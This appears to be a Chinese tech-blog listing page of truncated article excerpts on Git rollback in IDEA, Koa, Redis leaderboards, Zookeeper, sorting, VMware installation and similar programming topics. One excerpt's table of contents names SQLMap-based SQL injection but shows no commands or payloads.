说明&#xff1a;前面介绍了在新版IDEA中Git的基本操作、分支操作&#xff0c;本文介绍一下在新版IDEA中&#xff0c;如何回滚代码&#xff1b; 分以下三个阶段来介绍&#xff1a; 未Commit的文件&#xff1b; 已经Commit&#xff0c;但未push的文件&#xff1b; 已经push的…...

node - koa 获取 Content-Type: text/plain 的数据

目录 1&#xff0c;Content-Type2&#xff0c;koa 获取请求的数据 1&#xff0c;Content-Type Content-Type HTTP 标头用于设置资源的类型&#xff0c;常用的有3个&#xff1a; application/jsonapplication/x-www-form-urlencoded&#xff0c;form 表单提交的格式。multipar…...

树形结构

树形结构广泛存在于客观世界中&#xff0c;如族谱、目录、社会组织、各种事物的分类等&#xff0c;都可用树形结构表示。树形结构在计算机领域应用广泛&#xff0c;如操作系统中的目录结构&#xff1b;源程序编译时&#xff0c;可用树表示源程序的语法结构&#xff1b;在数据库…...

《C++避坑神器·二十四》简单搞懂json文件的读写之根据键值对读写Json

c11 json解析库nlohmann/json.hpp文件整个代码由一个头文件组成 json.hpp&#xff0c;没有子项目&#xff0c;没有依赖关系&#xff0c;没有复杂的构建系统&#xff0c;使用起来非常方便。 json.hpp库在文章末尾下载 读写主要有两种方式&#xff0c;第一种根据键值对读写&…...

SQL进阶理论篇(二十一):基于SQLMap的自动化SQL注入

文章目录 简介获取当前数据库和用户信息获取MySQL中的所有数据库名称查询wucai数据库中的所有数据表查看heros数据表中的所有字段查询heros表中的英雄信息总结参考文献 简介 从上一小节&#xff0c;可以发现&#xff0c;如果我们编写的代码存在着SQL注入的漏洞&#xff0c;后果…...

xtu oj 1055 整数分类

Description 按照下面方法对整数x进行分类&#xff1a;如果x是一个个位数&#xff0c;则x属于x类&#xff1b;否则将x的各位上的数码累加&#xff0c;得到一个新的x&#xff0c;依次迭代&#xff0c;可以得到x的所属类。比如说24&#xff0c;246&#xff0c;则24的类别数是6&a…...

(2023|CVPR,Corgi,偏移扩散,参数高斯分布,弥合差距)用于文本到图像生成的偏移扩散

Shifted Diffusion for Text-to-image Generation 公众&#xff1a;EDPJ&#xff08;添加 VX&#xff1a;CV_EDPJ 或直接进 Q 交流群&#xff1a;922230617 获取资料&#xff09; 目录 0. 摘要 1. 简介 2. 方法 2.1 偏移扩散 3. 实验 3.1 无监督文本到图像生成 3.2 无…...

ACE中为socket增加keepalive策略(windows和linux)

0、现象描述 在国产麒麟系统下,基于ACE的tcp-socket,如果长时间不操作,则会自动切断连接,经测试发现,这个时间的上限为30分钟(几乎不差1秒) 经查看/proc/sys/net/ipv4/tcp_keepalive_time=7200,按说是2小时,但测试发现就是30分钟。索性,就通过程序来动态设置keepaliv…...

前端工程注入版本号

文章目录 一、前言二、webpack三、vite四、最后 一、前言 容器化时代&#xff0c;当页面出现问题时&#xff0c;如果你的新版本有可能已经修复了&#xff0c;那样你再排查它就没有意义了。为什么不一定是最新版本呢&#xff1f;一是可能是缓存作祟&#xff0c;二是可能运维成员…...

Android 10.0 SystemUI禁用长按recent键的分屏功能

1.前言 在10.0的系统产品开发中,系统对于多窗口模式默认会有分屏功能的,但是在某些产品中,需要禁用分屏模式,所以需要在导航栏中 禁用长按recent的分屏模式功能,接下来分析下相关分屏模式的实现 2.SystemUI禁用长按recent键的分屏功能的核心类 frameworks\base\packa…...

自媒体实战篇:作品爆款三要素的使用场景和重要性

作品爆款三要素的使用场景和重要性 什么是爆款三要素 标题 概括视频内容,吸引用户注意封面 吸引眼球,引发作者联想标签 精准分类,有利于平台精准推流优质标题要求 标题就是介绍视频故事内容的一段话,通常分为三段式注册,统称三段式标题好的标题统称是三段式的,即点明故事…...

Hbase的安装配置

注&#xff1a;本文默认已经完成hadoop的下载以及环境配置 1.上传zookeeper和hbase压缩包到指令路径并且解压 (理论上讲&#xff0c;hbase其实内置了zookeeper&#xff0c;我们也可以不另外下载&#xff0c;另外下载的目的在于减少组件间依赖性) cd /home mkir hbase cd /hom…...

VMware17Pro虚拟机安装Linux CentOS 7.9(龙蜥)教程(超详细)

目录 1. 前言2. 下载所需文件3. 安装VMware3.1 安装3.2 启动并查看版本信息3.3 虚拟机默认位置配置 4. 安装Linux4.1 新建虚拟机4.2 安装操作系统4.2.1 选择 ISO 映像文件4.2.2 开启虚拟机4.2.3 选择语言4.2.4 软件选择4.2.5 禁用KDUMP4.2.6 安装位置配置4.2.7 网络和主机名配置…...

QT trimmed和simplified

trimmed&#xff1a;去除了字符串开头前和结尾后的空白&#xff1b; simplified&#xff1a;去除了字符串开头前和结尾后的空白&#xff0c;以及中间内部的空白字符也去掉&#xff08;\t,\n,\v,\f,\r和 &#xff09; 代码&#xff1a; QString str " 1 2 3 4 5 …...

Ensp dhcp全局地址池(配置命令 + 实例)

使用DHCP的好处&#xff1a;减少管理员的工作量、避免输入错误的可能、避免ip冲突 DHCP报文类型&#xff1a; DHCP DISCOVER:客户端用来寻找DHCP服务器 DHCP OFFER:DHCP服务器用来响应DHCP DISCOVER报文&#xff0c;此报文携带了各种配置信息 DHCP REQUEST:客户端配置请求确…...

spring aop实际开发中怎么用,Spring Boot整合AOP,spring boot加spring mvc一起使用aop,项目中使用aop

前言&#xff1a;本文不介绍 AOP 的基本概念、动态代理方式实现 AOP&#xff0c;以及 Spring 框架去实现 AOP。本文重点介绍 Spring Boot 项目中如何使用 AOP&#xff0c;也就是实际项目开发中如何使用 AOP 去实现相关功能。 如果有需要了解 AOP 的概念、动态代理实现 AOP 的&…...

C语言操作符if语句好习惯 详解分析操作符(详解4)

各位少年&#xff1a; 前言 还记得我们上一章讲过一个比较抽象的代码&#xff0c;它要比较两次都是真的情况下才能打印&#xff0c;那么很显然这样写代码是有弊端的&#xff1f;哪我们C语言之父丹尼斯.里奇&#xff0c;先介绍一下上次拉掉了if语句的好习惯 好再分享一些操作符…...

【什么是泛型,有什么好处】

✅什么是泛型&#xff0c;有什么好处 ✅典型回答✅泛型是如何实现的✅什么是类型擦除&#xff1f;&#x1f4dd;C语言对泛型的支持&#x1f4dd;泛型擦除的缺点有哪些&#xff1f; ✅对泛型通配符的理解&#x1f4dd;泛型中上下界限定符 extends 和 super 有什么区别&#xff1…...

Stable Diffusion系列(三):网络分类与选择

文章目录 网络分类模型基座模型衍生模型二次元模型2.5D模型写实风格模型 名称解读 VAELora嵌入文件放置界面使用 网络分类 当使用SD webui绘图时&#xff0c;为了提升绘图质量&#xff0c;可以多种网络混合使用&#xff0c;可选的网络包括了模型、VAE、超网络、Lora和嵌入。 …...

Twincat中PLC的ST语言编程实现机器人安全交互

在TwinCAT中&#xff0c;使用ST语言&#xff08;Structured Text&#xff09;进行PLC编程是一种常见的做法。 机器人接触力超过预设阈值后执行停止动作 为了实现机器人在接触力超过预设阈值后停止动作的功能&#xff0c;你需要编写一段ST语言代码&#xff0c;以检查当前的接触…...

Redis实现日榜|直播间榜单|排行榜|Redis实现日榜01

前言 直播间贡献榜是一种常见的直播平台功能&#xff0c;用于展示观众在直播过程中的贡献情况。它可以根据观众的互动行为和贡献值进行排名&#xff0c;并实时更新&#xff0c;以鼓励观众积极参与直播活动。 在直播间贡献榜中&#xff0c;每个观众都有一个对应的贡献值&#…...

如何使用内网穿透工具实现Java远程连接本地Elasticsearch搜索分析引擎

文章目录 前言1. Windows 安装 Cpolar2. 创建Elasticsearch公网连接地址3. 远程连接Elasticsearch4. 设置固定二级子域名 前言 简单几步,结合Cpolar 内网穿透工具实现Java 远程连接操作本地分布式搜索和数据分析引擎Elasticsearch。 Cpolar内网穿透提供了更高的安全性和隐私保…...

C语言数据结构-----常用七种排序介绍、分类、实现及性能比较

前言 ①排序&#xff1a;所谓排序&#xff0c;就是使一串记录&#xff0c;按照其中的某个或某些关键字的大小&#xff0c;递增或递减的排列起来的操作。 ②稳定性&#xff1a;假定在待排序的记录序列中&#xff0c;存在多个具有相同的关键字的记录&#xff0c;若经过排序&#…...

2023年山东省职业院校技能大赛高职组 “软件测试”赛项竞赛任务四 单元测试

任务四 单元测试 任务要求 题目1&#xff1a;任意输入2个正整数值分别存入x、y中&#xff0c;据此完成下述分析&#xff1a;若x≤0或y≤0&#xff0c;则提示&#xff1a;“输入不符合要求。”&#xff1b;若2值相同&#xff0c;则提示“可以构建圆形或正方形”&#xff1b;若2…...

在Redis客户端设置连接密码 并演示密码登录

我们先连接到Redis服务 然后 我们要输入 CONFIG SET requirepass “新密码” 例如 CONFIG SET requirepass "A15167"这样 密码就被设置成立 A15167 我们 输入 AUTH 密码 例如 AUTH A15167这里 返回OK说明成功了 然后 我们退出在登录就真的需要 redis-cli -h IP地…...

阿里云公有云平台

1. 请简要介绍一下公有云平台的基本概念和特点。 公有云是一种云计算模型&#xff0c;其中服务器、网络和存储资源等IT基础架构以虚拟资源的形式提供&#xff0c;并且可以通过互联网进行访问。这些资源是由第三方提供商共享并提供给用户的&#xff0c;包括计算、存储、网络等。…...

Zookeeper的学习笔记

Zookeeper概念 Zookeeper是一个树形目录服务&#xff0c;简称zk。 Zookeeper是一个分布式的、开源的分布式应用程序的协调服务 Zookeeper提供主要的功能包括&#xff1a;配置管理&#xff0c;分布式锁&#xff0c;集群管理 Zookeeper命令操作 zk数据模型 zk中的每一个节点…...

leetcode2两数加和问题(链表)

题目思路&#xff1a; ①创建一个int类型的局部变量&#xff0c;用来存储两个结点的Val值。 ②判断该Val值与10求余(mod)后是否大于0,如果大于0, 则需要在下一个结点进位。 ③最关键的步骤&#xff1a;实现l1&#xff0c;l2结点数值相加后构建新的存储求和后的结点&#xff0…...

VSCode中配置prettier和ESLint

文章目录 了解ESLint和Prettier的作用prettier配置ESLint配置常见问答ESLint 和Prettier 有什么区别&#xff1f;为什么我应该同时使用ESLint 和Prettier&#xff1f;在使用ESLint 和Prettier 时&#xff0c;有可能出现它们之间的规则冲突吗&#xff1f;我已经在项目中使用了ES…...

如何将本地websocket发布至公网并实现远程访问服务端

文章目录 1. Java 服务端demo环境2. 在pom文件引入第三包封装的netty框架maven坐标3. 创建服务端,以接口模式调用,方便外部调用4. 启动服务,出现以下信息表示启动成功,暴露端口默认99995. 创建隧道映射内网端口6. 查看状态->在线隧道,复制所创建隧道的公网地址加端口号7. 以…...

分享 | 软件测试的基本流程是什么?软件测试流程详细介绍

软件测试 软件测试和软件开发一样&#xff0c;是一个比较复杂的工作过程&#xff0c;如果无章法可循&#xff0c;随意进行测试势必会造成测试工作的混乱。为了使测试工作标准化、规范化&#xff0c;并且快速、高效、高质量地完成测试工作&#xff0c;需要制订完整且具体的测试…...

浮点数的转换--IEEE 754

IEEE754标准是一种浮点数表示标准&#xff0c;一般分为 单精度&#xff08;32位的二进制数&#xff09;&#xff1b;双精度&#xff08;64位的二进制数&#xff09; 根据国际标准IEEE754&#xff0c;任意一个二进制浮点数V可以表示为下面形式&#xff1a; V (-1)^s *&#…...

若依框架介绍

RuoYi&#xff08;若依&#xff09;是一款基于Spring Boot、Spring Cloud等开源框架搭建的企业级开发平台&#xff0c;旨在提供全面的解决方案&#xff0c;简化企业级应用开发&#xff0c;提高开发效率。 主要特点&#xff1a; 1. 模块化设计 RuoYi采用模块化的设计&#xff0…...

iMazing2024免费版iOS移动设备管理软件

以自己的方式管理iPhone&#xff0c;让备受信赖的软件为您传输和保存音乐、消息、文件和数据。安全备份任何 iPhone、iPad 或 iPod touch。iMazing 功能强大、易于使用&#xff0c;称得上是 Mac 和 PC 上最好的 iOS 设备管理器。 正在为iTunes繁琐的操作发愁&#xff1f;设备数…...

Zookeeper整合Java实战,不同客户端使用汇总

Java学习面试指南&#xff1a;https://javaxiaobear.cn ZooKeeper应用的开发主要通过Java客户端API去连接和操作ZooKeeper集群。可供选择的Java客户端API有&#xff1a; ZooKeeper官方的Java客户端API。 第三方的Java客户端API&#xff0c;比如Curator。 ZooKeeper官方的客户…...